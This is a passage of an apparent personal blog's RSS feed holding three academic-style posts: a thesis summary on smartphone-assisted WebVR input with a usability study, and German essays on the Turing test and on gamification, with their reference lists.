a daily basis. Such phones have a variety of different sensors already built-in, feature wireless capabilities, and are able to run custom software. This makes them affordable general-purpose devices.</p><h3 id="heading-experiments">Experiments</h3><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636837812/6xct2Fn4i.png" alt /></p><p>Screenshot of the laser pointer experiment</p><p>Three experiments were implemented to demonstrate how the smartphone can help with common interactions when using Virtual Reality applications:</p><p><strong>Model Viewer:</strong> An application to view and rotate three-dimensional models. The rotation of the 3D model displayed in VR is synchronized with the Smartphone. To rotate the model, the phone has to be rotated in the wanted direction.</p><p><strong>Laser Pointer:</strong> A method to select objects or UI elements. A virtual representation of the Smartphone is shown in VR. The rotation is again synced with the real Smartphone. Out of the front of the phone comes a red line (the laser) which is used to point at user interface (UI) elements.</p><p><strong>Virtual Keyboard:</strong> An application to write text on a virtual keyboard. The virtual keyboard is shown in VR. The buttons on it are mapped to the Smartphoness touch screen. A blue circle is used to see where the location, touched on the display, maps to the keyboard in VR.</p><h3 id="heading-implementation">Implementation</h3><p>To get platform independence, I decided to use a web-based stack. All experiments were implemented in WebVR using <a target="_blank" href="https://threejs.org/">Three.js</a> and Javascript.</p><p>The networking framework <a target="_blank" href="https://wiki.tum.de/display/infar/Ubi-Interact">Ubi-Interact</a>, developed at my university, is used to make the proposed experiments reusable and abstracted from device-specific environments. It connects the PC, running the VR experience, and the Smartphone together. Most of the experiment-specific interaction logic is abstracted into so-called Ubii Interactions, which run on a server.</p><p>The client running on the Smartphone was also developed using Javascript.</p><h3 id="heading-evaluation">Evaluation</h3><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636839457/neuauK1wm.png" alt /></p><p>Screenshot of the virtual keyboard experiment</p><p>In order to test the usability of the smartphone as an assistant device for VR, a user study was conducted. In the study, participants had to complete tasks with the three experiments. Also, a <a target="_blank" href="https://www.usability.gov/how-to-and-tools/methods/system-usability-scale.html">System Usability Scale</a> (SUS) user study was performed to get feedback from the users.</p><p>A SUS questionnaire asks the participants to rate the following statements regarding the usability of a system from one to five:</p><ol><li>I think that I would like to use this system frequently.</li><li>I found the system unnecessarily complex.</li><li>I thought the system was easy to use.</li><li>I think that I would need the support of a technical person to be able to use this system.</li><li>I found the various functions in this system were well integrated.</li><li>I thought there was too much inconsistency in this system.</li><li>I would imagine that most people would learn to use this system very quickly.</li><li>I found the system very cumbersome to use.</li><li>I felt very confident using the system.</li><li>I needed to learn a lot of things before I could get going with this system.</li></ol><h4 id="heading-to-sum-up">To sum up:</h4><p><strong>Model Viewer:</strong> Most participants agreed that this input method is very intuitive and effective to operate.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636841080/LLZ3RGcn0.png" alt="Model Viewer Experiment: SUS Results" /></p><p><strong>Laser Pointer:</strong> This experiment scored the highest amongst the ones presented in this research.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636842743/c1okFmCs3.png" alt="Laser Pointer Experiment: SUS Results" /></p><p><strong>Virtual Keyboard:</strong> While the model viewer and the laser pointer scenario reached a very high score, the virtual keyboard scored slightly lower but still demonstrates high usability despite its complexity.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636844287/18dH7aPEY.png" alt="Virtual Keyboard Experiment: SUS Results" /></p><h3 id="heading-conclusion">Conclusion</h3><p>A lot of feedback was collected during the user study, which can be used to improve these implementations further. Since all experiments are considered acceptable according to the <a target="_blank" href="https://www.usability.gov/how-to-and-tools/methods/system-usability-scale.html">System Usability Scale</a>, the Smartphone can indeed be considered a working input device for Virtual Reality.</p><p>If you want to read the full thesis, check out <a target="_blank" href="https://wiki.tum.de/display/infar/BA%3A+Smartphone-Assisted+Virtual+Reality+Using+Ubi-Interact">this link</a>.</p>]]></description><link>https://blog.lohr.dev/smartphone-assisted-virtual-reality</link><guid isPermaLink="true">https://blog.lohr.dev/smartphone-assisted-virtual-reality</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 09 Apr 2020 15:06:08 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636846172/HIR69efi5.png</cover_image></item><item><title><![CDATA[🇩🇪 Können Computer denken?]]></title><description><![CDATA[<p>Knnen Maschinen denken? Diese Frage (engl. Can machines think?) stellte sich Alan Turing bereits 1950 in seiner bahnbrechenden Arbeit Computing Machinery and Intelligence [Ala50]. Auch heute noch, ist dies ein stark umstrittenes und hufig diskutiertes Thema. Dieses Essay soll sich mit der Frage beschftigen, inwiefern Computer wirklich denken knnen.</p><p>Laut Alan Turing hngt die Antwort auf die Frage, ob (digitale) Maschinen, also Computer, denken knnen, davon ab, wie man Maschine und denken definiert [Ala50]. Da bei gegebener Fragestellung bereits Computer anstatt Maschine verwendet wird, wird im Folgendem von einem (digitalen) Computer als Maschine ausgegangen. Laut Brunjes ist ein Computer eine informationsverarbeitende Maschine, wobei Informationen als kontextabhngige Daten definiert sind [Bru77]. Alan Turing hingegen definiert einen digitalen Computer als eine Maschine, die jede Operation ausfhren kann, die auch von einem Mensch ausgefhrt werden kann, der vorgeschriebene Rechenregeln befolgt [Ala50].</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636864592/ZlKyGV1r0.jpeg" alt />Photo by <a target="_blank" href="https://unsplash.com/@franckinjapan">Franck V.</a> on <a target="_blank" href="https://unsplash.com">Unsplash</a></p><p>Ein Computer besteht aus drei Hauptkomponenten [Ala50]:</p><ul><li><strong>Der Speicher</strong> speichert Informationen [Ala50]. Bei einem Menschen entspricht dies dem Papier und das, was er sich merkt [Ala50]. Der Speicher ist wie im echten Leben auch das Papier, begrenzt.</li><li><strong>Die ausfhrende Einheit</strong> fhrt die einzelnen Instruktionen, die Teil einer Berechnungs-Operation sind, aus [Ala50]. Die Anweisungen hierfr werden aus einer Anweisungsliste (oder auch Programm) entnommen [Ala50].</li><li><strong>Die Steuerungseinheit</strong> steuert die Ausfhrung der Anweisungen in der richtigen Reihenfolge [Ala50].</li></ul><p>Solche Computer werden als diskrete Zustandsmaschinen bezeichnet, da sie von einem Zustand in den nchsten springen [Ala50].</p><p>Denken hingegen ist nicht so einfach zu definieren. Ist denken bereits einfaches Rechnen oder Maschinen-Lernen? Oder denkt eine Maschine erst, wenn sie sich seiner selbst bewusst ist? Alan Turing umgeht die Definition, da er es fr sinnvoller hlt, eine hnliche und przisere Frage zu stellen [Ala51]. Stattdessen formuliert er folgende Art Spiel, bekannt unter dem Namen Imitation Game [OD19]. Einer der Teilnehmer, der Befrager, befindet sich in einem separaten Raum. Seine Aufgabe und auch Ziel des Spiels ist es herauszufinden, welcher der anderen beiden Spieler ein Computer und welcher der Mensch ist [OD19]. Der Befrager identifiziert die beiden anderen Spieler nur mit den Buchstaben X und Y [Ala50]. Dieser stellt Fragen der Form: Frage an X: Spielt X Schach? [OD19]. Spieler X muss diese Frage dann beantworten [OD19]. Das Ziel des Computers ist es, den Befragenden dazu zu bringen, zu glauben, dass der Computer die Person und die Person der Computer ist [OD19]. Dieses Grundprinzip ist bekannt als der Turing Test [OD19], der zeigen soll, ob eine Maschine ein hnliches Denkvermgen wie der Mensch entwickeln kann.</p><p>Seit Turings Verffentlichung gab es viele Versuche, ein Programm zu entwickeln, das den Test besteht. Die meisten Versuche antworten auf festgelegte Schlsselwrter mit in einer Datenbank gespeicherten Stzen. Block, ein damals bekannter Philosoph in dem Themengebiet des Bewusstseins, befasst sich mit dieser Problematik. 1995 schrieb er, dass selbst wenn eine Regierungsinitiative mit hohem Budget ein Programm entwickelt, dass den Turing-Test besteht; Solang ber die potentiellen Fragen im vorraus nachgedacht wurde und die Antworten vorgeschrieben werden, sei dieses Programm nicht intelligent [Blo95].</p><p>Dies zeigt auch das sogenannte Chinese Room Argument, welches von dem Philosophen Searle entwickelt wurde [Col19]: Man stelle sich eine Person in einem isolierten Raum vor, die kein Chinesisch kann [Sea80]. Diese Person hat Zugriff auf eine Liste mit Anweisungen, mit welchen Schriftzeichen man auf gegebene Schriftzeichen antwortet [Sea80]. Durch striktes Befolgen der Anweisungen kann diese Person auf eingehende Symbole, die von auerhalb des Raumes kommen, in der Liste nachschauen und beantworten [Col19]. Fr einen Auentstehenden, der nur die ein- und augehenden Nachrichten beobachtet, entsteht der Eindruck, dass die Person innerhalb des Raumes Chinesisch versteht [Col19]. Damit wrde die Person, die auch durch einen Computer ersetzt werden knnte, den Turing-Test bestehen, obwohl diese nicht einmal die Bedeutung der Symbole versteht.</p><p>Searle fhrt zwei Begriffe fr die Arten des Verstehens ein: Das syntaktische Verstehen bezieht sich auf Dinge, die in Isolation (wie in dem Chinese Room Argument) verstanden werden knnen [Sea80]. Als semantisches Verstehen beschreibt er ein grundlegendes Verstndnis, das zum Beispiel von Nten ist, um eine Sprache zu sprechen [Sea80]. Auerdem ordnet er knstliche Intelligenzen (kurz KI) in zwei Kategorien ein: Die starke KI versteht die natrliche Sprache und hat weitere mentale Fhigkeiten hnlich wie denen der Menschen [Sea80], beherrscht also das semantische Verstehen. Schwache knstliche Intelligenzen knnen Intelligenz durch syntaktisches Verstndnis<br />nur simulieren, ein Beispiel hierfr ist ELIZA.</p><p>ELIZA von Weizenbaum ist ein Computerprogramm, das ein Gesprch mit einem Psychotherapist simuliert. Durch eine Kommandozeile knnen Stze in natrlicher Sprache eingegeben werden, auf welche die Software dann mit natrlicher Sprache antwortet [Wei66]. Das Programm analysiert die einzelnen Bestandteile der Eingabe, folgt einfachen Regeln und antwortet dann mit vorgegebenen Stzen. Am besten funktionierte ELIZA, wenn den Probanden gesagt wurde, dass sie mit ELIZA genau so kommunizieren sollen, wie sie mit einem Therapeuten reden wrden [Wei66]. ELIZA funktioniert in dem Anwendungsgebiet eines Psychotherapeuten so gut, da der Therapist Rckfragen stellen kann, die man von einer normalen Person nicht erwarten wrde. Zum Beispiel kann ELIZA auf die Aussage Ich machte eine lange Bootsfahrt mit Erzhl mir mehr ber Boote antworten, ohne dass man direkt davon ausgeht, dass ELIZA nichts ber Boote wei [Wei66]. Einige wenige Probanden waren berzeugt, dass sie gerade mit einem echten Menschen kommunizieren [Wei66]. Von dem Ziel, den Turing-Test zu bestehen, ist ELIZA jedoch weit entfernt [Moo03]. Dies liegt zu einem groen Teil daran, dass sie auf einige Eingaben unrealistische Antworten gibt. Auch Variation in den Antworten ist nicht genug vorhanden. Jedoch sollte es theoretisch mglich sein, eine verbesserte Version mit einer viel greren Datenbank, von ELIZA zu entwickeln.</p><p>Steve Worswick hat mit seinem Chatbot, also ein hnliches Computerprogramm wie ELIZA, mit dem man ber ein Terminal schreiben kann, bereits vier mal den Loebner-Preis fr das am menschenhnlichste Softwareprogramm gewonnen [Tho19]. Meiner Meinung nach bestehen Chatbots wie Worswicks Mitsuku den Turing-Test, da sie durchaus reagieren, wie man es von einem Menschen erwarten wrde. Dies zeigt zusammen mit dem Chinese Room Argument, dass der Turing-Test kein guter Ersatz fr die Frage, ob Computer denken knnen, ist.</p><p>Auch meiner Meinung nach ist die Frage, ob Computer denken knnen, zu allgemein gestellt. Es gibt zu viele verschiedene Definitionen von dem Wort Denken [Fri14; Mer]. Viele Lexika definieren Denken ber rationales Handeln [Fri14; Mer]. Da aber eine KI wie Mitsuku durchaus Rationalitt in ihren vorprogrammierten Antworten zum Ausdruck bringen kann, ist mir diese Definition nicht streng genug. Denn es fehlt immer noch das semantisches Verstndnis nach Searle.</p><p>Vermutlich liegt die Zukunft der starken knstlichen Intelligenz in den neuronalen Netzwerken. Knstliche neuronale Netzwerke sind dem menschlichen Gehirn nachgeahmte Strukturen aus einzelnen Informationsverarbeitungseinheiten (Neuronen) [Hay95]. Durch das Anwenden verschiedener Algorithmen kann ein neuronales Netwerk Wissen speichern (lernen) [Hay95]. Nicht nur sind diese Netze ein gutes Beispiel, um das menschliche Gehirn besser zu verstehen. Meiner Meinung nach ist der umgekehrte Weg wichtiger: Wenn wir verstehen, wie das menschliche Gehirn funktioniert, dann knnen wir auch eine KI bauen, die fhig sein wird, menschlich zu denken. Denn unser Gehirn besteht auch nur aus Materie. Es sollte also mglich sein, diese Materie zu replizieren oder zumindest zu simulieren.</p><h3 id="heading-literatur">Literatur</h3><p><strong>[Ala50]</strong> Alan Turing. Computing Machinery and Intelligence. In: Mind LIX.236 (1950), S. 433460. issn: 00264423. doi: 10.1093/mind/LIX.236.433.<br /><strong>[Ala51]</strong> Alan Turing. Can Digital Computers Think? 1951. url: http://www.turingarchive.org/browse.php/B/5 (besucht am 06. 05. 2019).<br /><strong>[Blo95]</strong> N. Block. The mind as the software of the brain. 1995.<br /><strong>[Bru77]</strong> S. Brunjes. What is a computer? In: Journal of Medical Systems 1.1 (1977), S. 7985. issn: 01485598. doi: 10.1007/BF02222879.<br /><strong>[Col19]</strong> D. Cole. The Chinese Room Argument. In: The Stanford Encyclopedia of Philosophy. Hrsg. von Edward N. Zalta. Metaphysics Research Lab, Stanford University, 2019.<br /><a target="_blank" href="https://www.spektrum.[Fri14]"><strong>[Fri14]</strong></a> Friedhart Klix. Definition: Denken. 4.12.2014. url: https://www.spektrum.de/lexikon/neurowissenschaft/denken/2728 (besucht am 12. 05. 2019).<br /><strong>[Hay95]</strong> S. S. Haykin. Neural networks: A comprehensive foundation. [Nachdr.] New York, NY: Macmillan, 1995. isbn: 0023527617.<br /><strong>[Mer]</strong> Merriam-Webster. Definition of THINKING. url: https://www.merriam-webster.com/dictionary/thinking (besucht am 12. 05. 2019).<br /><strong>[Moo03]</strong> J. H. Moor. Turing test. In: Encyclopedia of computer science. Hrsg. von A. Ralston, E. d. Reilly und D. Hemmendinger. Chichester, West Sussex, England und Hoboken, NJ, USA: Wiley, 2003. isbn: 0470864125.<br /><strong>[OD19]</strong> G. Oppy und D. Dowe. The Turing Test. In: The Stanford Encyclopedia of Philosophy. Hrsg. von Edward N. Zalta. Metaphysics Research Lab, Stanford University, 2019.<br /><strong>[Sea80]</strong> J. R. Searle. Minds, brains, and programs. In: Behavioral and Brain Sciences 3.03 (1980), S. 417. issn: 0140525X. doi: 10.1017/S0140525X00005756.<br /><strong>[Tho19]</strong> C. Thompson. May A.I. Help You? 12.05.2019. url: https://www.nytimes.com/interactive/2018/11/14/magazine/tech-design-ai-chatbot.html (besucht am 12. 05. 2019).<br /><strong>[Wei66]</strong> J. Weizenbaum. ELIZAa computer program for the study of natural language communication between man and machine. In: Communications of the ACM 9.1 (1966), S. 3645. issn: 00010782. doi: 10.1145/365153.365168.</p>]]></description><link>https://blog.lohr.dev/koennen-computer-denken</link><guid isPermaLink="true">https://blog.lohr.dev/koennen-computer-denken</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 30 Oct 2019 16:14:38 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636864592/ZlKyGV1r0.jpeg</cover_image></item><item><title><![CDATA[🇩🇪 Gamification]]></title><description><![CDATA[<p>Bis zum Jahr 2021 wird sich gegenber dem Jahr 2016 laut TechNavio der Wert des Gamification-Markts verdoppeln [BUS]. Die Relevanz des Themas wird nicht nur durch die steigende Anzahl der akademischen Arbeiten ber Gamification sichtbar, sondern spiegelt sich auch in den zahlreichen erfolgreichen Startups wider, die sich auf genau dieses Thema fokussieren [HKS14]. Aber was ist Gamification berhaupt und welchen Einfluss hat es auf Anwendungssoftware? Dieses Essay soll sich mit der Frage beschftigen, welchen Einfluss die Konzepte und Techniken von Computerspielen auf andere Anwendungen haben.</p><p>Gamification ist ein sogenanntes Buzzword oder auch Modewort aus dem Englischen, das die Verwendung von Elementen aus Spielen in einem spielfremden Kontext bezeichnet [Seb+11]. Spiel ist hier als System definiert, in dem Spieler in einem knstlichen Konflikt aufeinander treffen [SZ04]. Mit Elementen aus Spielen sind die Charakteristiken gemeint, die ein Spiel ausmachen [Det+11]. Zu solchen spielerischen Elementen gehren zum Beispiel Fortschrittsanzeigen, Ranglisten, Auszeichnungen und Punktesysteme [RW15]. Zuletzt gilt es noch, den spielfremden Kontext zu definieren: Laut Deterding, Dixon u. a. ist dies jeder Kontext, der nichtspielerische Elemente verwendet oder im Designprozess verwendet hat.</p><p>Allerdings fhrt nicht jeder beliebige Einsatz von Game-Design-Elementen zur Gamification [Wer14]. Fortschrittsanzeigen zum Beispiel sind ein typisches Element in aktueller Anwendungssoftware, um den Nutzer ein Gefhl dafr zu vermitteln, wie weit die Anwendung bei der aktuellen Aufgabe schon fortgeschritten ist. Fortschrittsanzeigen in diesem Kontext sind also reine Informationsanzeigen fr den Nutzer, die keinerlei Interaktion zulassen [Wer14]. Werbach schlgt daher folgende Definition vor:the process of making activities more game-like [Wer14, S. 6]also Gamification als Prozess, Aktivitten spielhnlich zu gestalten.</p><p>Das Ziel der Gamification ist laut Morschheuser, Hassan u. a., im Gegensatz zu herkmmlichen Spielen, nicht nur zu unterhalten, sondern auch das Verhalten zu ndern. Genauer gesagt ist das Ziel, durch kleine Motivatoren das Engagement beziehungsweise die Partizipation, Beharrlichkeit und Leistung zu erhhen [RW15].</p><p>Um Gamification auf eine Anwendung anzuwenden, werden Elemente aus dem Game-Design auf die Aktivitten der Applikation angewandt. Sailer, J. U. Hense u. a. beschreiben die typischen Game-Design-Elemente der Gamification wie folgt:</p><ul><li><strong>Punkte</strong> werden typischerweise fr den Abschluss bestimmter Aktionen innerhalb der Spielwelt vergeben und reprsentieren den Fortschritt des Spielers [WH12]. Es gibt verschiedene Arten von Punktesystemen wie zum Beispiel Erfahrungspunkte, einlsebare Punkte, Reputationspunkte, die verschiedenen Zwecken dienen [WH12].</li><li><strong>Abzeichen</strong> als visuelle Reprsentation der Auszeichnungen, die in der Spielwelt verdient und gesammelt werden knnen [WH12]. Auszeichnungen werden fr einegewisse Punktzahl oder erfolgreich abgeschlossene Aktivitten vergeben unddienen als virtuelle Statussymbole [WH12].</li><li><strong>Ranglisten</strong> sind kompetitive Indikatoren, die die eigene Leistung mit den Leistungender anderen Spieler vergleichen [Sai+17]. Der durch Ranglisten erzeugte soziale Druck ist ein effektives Mittel, um das Engagement der Spieler zu erhhen [Bur10].</li><li><strong>Diagramme</strong> werden oft in Simulationen oder Strategiespielen verwendet [Sai+14] und vergleichen die eigene Leistung mit der eigenen Leistungen von vorhergehenden Lufen [Sai+17].</li><li><strong>Bedeutungsvolle Geschichten</strong>Durch einen erzhlerischen Kontext kann eine eigentlich langweilige Aufgabe zu einem spannenden Abenteuer werden, die die Spieler motiviert und inspiriert [Nic15].</li><li><strong>Avatare</strong> sind die visuelle Reprsentation eines Spieler-Charakters aus der Spielwelt [WH12]. Es gibt verschiedene Implementierungen, die von einem einfachen Profilbild bis hin zu einem animierten dreidimensionalen Charakter reichen [Sai+17].</li><li><strong>Teams</strong> sind Gruppen aus echten Spielern oder Nicht-Spieler-Charakteren (engl. Nonplayer character, kurz. NPC), die das Verhalten von echten Spielern simulieren. Die Teammitglieder bilden ein Team, um zusammen ein gemeinsames Ziel zu erreichen [WH12].</li></ul><p>Der Zweck dieser Elemente ist, den Spieler zu motivieren, bestimmte Aufgaben erfolgreich und mit Engagement zu erledigen. Der Begriff Motivation bezeichnet den Antrieb hinter dem Handeln, welches sich in der Entscheidung eines Einzelnen, sich fr eine bestimmte Aktivitt zu entscheiden und durch die Intensitt und Beharrlichkeit, mit der diese verfolgt wird, uert [RW15]. Den Game-Design-Elementen knnen<br />nun Bedrfnisse zugeschrieben werden, die die motivierende Wirkung aus psychologischer Sicht beschreiben [Sai+14]. Sailer, J. U. Hense u. a. konzentrieren sich auf folgende Bedrfnisse:</p><ul><li><strong>Das Bedrfnis nach Kompetenz</strong> bezieht sich auf das Gefhl von Effizienz und Erfolg whrend der Interaktion mit der Umgebung [Sai+17; VR13]. Punktesysteme, Diagramme, Abzeichen und Ranglisten knnen dieses Gefhl vermitteln [Mei+14].</li><li><strong>Das Bedrfnis nach Autonomie</strong> beschreibt das Gefhl, Entscheidungen aufgrund eigener Werte und Interessen zu treffen [DV03]. Das Whlen eines Avatars und bedeutungsvolle Geschichten knnen dem Spieler das Gefhl der Autonomie vermitteln [RR11].</li><li><strong>Das Bedrfnis nach sozialer Verbundenheit</strong> stellt den grundlegenden Wunsch des Einzelnen nach der kohrenten Integration in ein soziales Umfeld dar [Sai+17; DV03]. Dieses Bedrfnis kann sowohl durch eine bedeutungsvolle Geschichte als auch durch Teams aus Spielern oder Nicht-Spieler-Charakteren erfllt werden.</li></ul><p>Immer hufiger wird der Begriff Serious Games mit Gamification in Verbindung gebracht [DS16]. Es gibt aber doch signifikante Unterschiede. Serious Games sind als Spiel von Grund auf entwickelt, finden also auch in einer virtuellen Spielwelt statt. Sie wurden nicht zum Zweck der Unterhaltung entwickelt, sondern um den Spieler etwas zu kommunizieren [DS16]. Hufige Anwendungsgebiete fr Serious Games sind zum Beispiel das Personaltraining oder die Medizin. Von Gamification hingegen spricht man, wenn sich eine Anwendung, meist mit kommerziellen Hintergrund und spielerisch gestaltet, in einem spielfremden Kontext befindet.</p><p>Es gibt bereits viele erfolgreiche Beispiele der Gamification im Software- und Anwendungsbereich. Das bekannteste Beispiel ist wahrscheinlich mit ber 10 Millionen registrierten Nutzern [Staa] die Internetplattform StackExchange. Sie bietet Nutzern die Mglichkeit, zu bestimmten Themengebieten Fragen zu stellen und Antworten zu geben. Fragen, Antworten und Kommentare knnen dann von Nutzern bewertet werden. Nutzer, die positive Bewertungen erhalten, zum Beispiel aufgrund einer hilfreichen Antwort, werden sogenannte Reputationspunkte (sog. Reputation) gutgeschrieben, mit denen man Funktionalitten auf der Plattform (sog. Privileges) und Abzeichen fr sein Profil (sog. Badges) freischaltet. Die Abzeichen und Reputationspunkte sind ffentlich und knnen auf Ranglisten und Profilen eingesehen werden, was automatisch zu einem sozialen Wettbewerb fhrt [Stab]. Weil dieses Prinzip so gut funktionierte, haben sich viele hnliche Plattformen davon inspieren lassen [DT13]. So nutzt zum Beispiel die Plattform RedCritter ein hnliches System fr das Projektmangement, mit dem sich dann die Mitarbeiter firmenintern echte Belohnungen, wie zum Beispiel einen Getrnkegutschein, verdienen knnen [Red]. CRM.me bietet eine komplette Customer-Relationship-Management-Softwarelsung an, also eine Software, um die Kundenbeziehungen zu verwalten, die sich das Prinzip Gamification intensiv zu nutze macht [Gra]. Hier gibt es Profile, Ranglisten, Auszeichnungen, Erfolgsserien, Auftrge und die Mglichkeit, echtes Geld, Eintrittskarten und Urlaubsfinanzierungen als Belohnung zu erhalten [Gra]. My Starbucks Rewards von Starbucks Coffee Company ist ein Belohnungsprogramm, das Gamification nutzt, um die Kundenbeziehungen und Kundenbindung zu verbessern [CG14]. Nach dem Registrieren auf der Webseite, in der man seine persnlichen Daten angibt, erhlt man eine kostenlose Starbucks-Mitgliedskarte [CG14]. Diese kann man mit vier US-Dollar aufladen, um das erste Level zu erreichen und ein Gratis Willkommensgetrnk zu erhalten [CG14]. Wenn man die Karte dann weiterhin nutzt, um bei Starbucks einzukaufen, erhlt man Punkte (sog. Stars), man steigt weitere Level auf und erhlt mehr kostenloses Essen und Getrnke [Stac].</p><p>Den Trend der letzten Jahre folgend wird das Thema Gamification vermutlich nicht an Attraktion verlieren. Nach den Berechnungen von Business Wire wird 2021 der Gamification-Markt einen Wert von 12 Milliarden US-Dollar erreichen [Bus]. Bereits heute wird das Konzept in vielerlei Plattformen und Software eingesetzt. Die Studien von Oulasvirta, Rattenbury u. a. zeigen, dass Nutzer ihre Handys ber 30 mal am Tag mit einer Gesamtzeit von ungefhr drei Stunden benutzt haben [Oul+12]. Der Gedanke Gamification auf Smartphones einzusetzen, liegt daher nahe. Was einige Gehirntrainings-Anwendungen bereits machen, knnte auch fr Produktivittsanwendungen eingesetzt werden. Ein groes Anwendungsgebiet fr die Gamification sehe ich in der Bildungsbranche: Insbesondere Online-Lernplattformen sind hufig monoton gestaltet. Meiner Meinung nach kann durch die Anwendung der Konzepte der Gamification nicht nur der Lernspa, sondern auch die Langzeitmotivation gesteigert werden. In Zukunft werden auch sicher weitere Game-Design-Elemente entwickelt. Vorstellbar ist der Einsatz von Technologien wie Spracherkennung, sowie maschinelles Lernen und Sehen. Dank dieser knnen dann auch nicht nur einfache Aufgaben belohnt werden, sondern auch kreative Erzeugnisse bewertet und ausgezeichnet werden. Sicher werden auch die Virtuelle (engl. Virtual Reality) und erweiterte Realitt (engl. Augmented Reality) eine groe Rolle spielen.</p><h3 id="heading-literatur">Literatur</h3><p><strong>[Bur10]</strong> J. C. Burguillo. Using game theory and Competition-based Learning to stimulate student motivation and performance. In: Computers &amp; Education 55.2 (2010), S. 566575. issn: 03601315. doi: 10.1016/j.compedu.2010.02.018.<br /><strong>[Bus]</strong> Business Wire. Value of the gamification market worldwide in 2016 and 2021(in billion U.S. dollars). url: https://www.statista.com/statistics/608824/gamification-market-value-worldwide/<br />(besucht am 01. 05. 2019).<br /><strong>[CG14]</strong> R. Conaway und M. C. Garay. Gamification and service marketing. In: SpringerPlus 3.1 (2014), S. 653. issn: 21931801. doi: 10.1186/21931801-3653.<br /><strong>[Det+11]</strong> S. Deterding, D. Dixon, R. Khaled und L. Nacke. From game design elements to gamefulness. In: Proceedings of the 15th International Academic MindTrek Conference Envisioning Future Media Environments. Hrsg. von A. Lugmayr, H. Franssila, C. Safran und I. Hammouda. New York, NY: ACM, 2011, S. 9. isbn: 9781450308168. doi: 10.1145/2181037.2181040.<br /><strong>[DS16]</strong> A. Darejeh und S. S. Salim. Gamification Solutions to Enhance Software User EngagementA Systematic Review. In: International Journal of Human-Computer Interaction 32.8 (2016), S. 613642. issn: 10447318. doi: 10.1080/10447318.2016.1183330.<br /><strong>[DT13]</strong> D. J. Dubois und G. Tamburrelli. Understanding gamification mechanisms for software development. In: 2013 9th Joint Meeting of the European Software Engineering Conference and the ACM SIGSOFT Symposium on the Foundations of Software Engineering (ESEC/FSE). Hrsg. von B. Meyer, L. Baresi und M. Mezini. New York, NY: Association for Computing Machinery, 2013, S. 659. isbn: 9781450322379. doi: 10.1145/2491411.2494589.<br /><strong>[DV03]</strong> E. L. Deci und M. Vansteenkiste. Self-determination theory and basic need satisfaction: understanding human development in positive psychology. 2003.<br /><strong>[Gra]</strong> L. Gravity4 Software Holdings. CRM.me Gamification: Discover how CRM.me produces better business results through gamification. url: https://crm.me/gamification/ (besucht am 02. 05. 2019).<br /><strong>[HKS14]</strong> J. Hamari, J. Koivisto und H. Sarsa. Does Gamification Work?A Literature Review of Empirical Studies on Gamification. In: IEEE 8th International Symposium on Service-Oriented System Engineering (SOSE), 2014. Piscataway, NJ: IEEE, 2014, S. 30253034. isbn: 9781479925049. doi: 10.1109/HICSS. 2014.377.<br /><strong>[Mei+14]</strong> S. A. Meijer, R. Smeds, J. Hense, M. Klevers, M. Sailer, T. Horenburg, H. Mandl und W. Gnthner, Hrsg. Using Gamification to Enhance Staff Motivation in Logistics: Frontiers in Gaming Simulation. Springer International Publishing, 2014. isbn: 9783319049540.<br /><strong>[Mor+18]</strong> B. Morschheuser, L. Hassan, K. Werder und J. Hamari. How to design gamification? A method for engineering gamified software. In: Information and Software Technology 95 (2018), S. 219237. issn: 09505849. doi: 10.1016/j.infsof.2017.10.015.<br /><strong>[Nic15]</strong> S. Nicholson. A RECIPE for Meaningful Gamification. In: Gamification in education and business. Hrsg. von T. Reiners und L. C. Wood. Switzerland:Springer, 2015, S. 120. isbn: 9783319102085. doi: 10.1007/9783319-102085_1.<br /><strong>[Oul+12]</strong> A. Oulasvirta, T. Rattenbury, L. Ma und E. Raita. Habits make smartphone use more pervasive. In: Personal and Ubiquitous Computing 16.1 (2012), S. 105114. issn: 16174909. doi: 10.1007/s0077901104122.<br /><strong>[Red]</strong> RedCritter Corp. How it works. url: https://www.redcritter.com/howitworks.aspx (besucht am 01. 05. 2019).<br /><strong>[RR11]</strong> S. Rigby und R. M. Ryan. Glued to games: How video games draw us in and hold us spellbound. New directions in media. Santa Barbara, Calif, Denver, Colorado und Oxford: Praeger, 2011. isbn: 9780313362248<br /><strong>[RW15]</strong> T. Reiners und L. C. Wood, Hrsg. Gamification in education and business. Switzerland: Springer, 2015. isbn: 9783319102085. doi: 10.1007/978-3319102085.<br /><strong>[Sai+14]</strong> M. Sailer, J. Hense, H. Mandl und M. Klevers. Psychological Perspectives on Motivation through Gamification. In: Interaction Design and Architecture(s) 19 (2014), S. 2837. issn: 22832998.<br /><strong>[Sai+17]</strong> M. Sailer, J. U. Hense, S. K. Mayr und H. Mandl. How gamification motivates: An experimental study of the effects of specific game design elements on psychological need satisfaction. In: Computers in Human Behavior 69 (2017), S. 371380. issn: 07475632. doi: 10.1016/j.chb.2016.12.033.<br /><strong>[Seb+11]</strong> Sebastian Deterding, Rilla Khaled, Lennart Nacke und Dan Dixon. Gamification: Toward a Definition. In: CHI 2011 Gamification Workshop Proceedings. Vancouver, BC, Canada, 2011.<br /><strong>[Staa]</strong> Stack Exchange Inc. Stack Exchange Overview. url: https://stackexchange.com/sites?view=list#questionsperday (besucht am 01. 05. 2019).<br /><strong>[Stab]</strong> Stack Exchange Inc. What is reputation? How do I earn (and lose) it? url: https://stackoverflow.com/help/whats-reputation (besucht am<br />01. 05. 2019).<br /><strong>[Stac]</strong> Starbucks Coffee Company. Starbucks Rewards. url: https://www.starbucks.com/rewards/ (besucht am 06. 05. 2019).<br /><strong>[SZ04]</strong> K. Salen und E. Zimmerman. Rules of play: Game design fundamentals. Cambridge, Massachusetts und London: The MIT Press, 2004. isbn: 9780262240451.<br /><strong>[VR13]</strong> M. Vansteenkiste und R. Ryan. On psychological growth and vulnerability: basic psychological need satisfaction and need frustration as an unifying principle. In: JOURNAL OF PSYCHOTHERAPY INTEGRATION 3 (2013), S. 263280. issn: 10530479.<br /><strong>[Wer14]</strong> K. Werbach. (Re)Defining Gamification: A Process 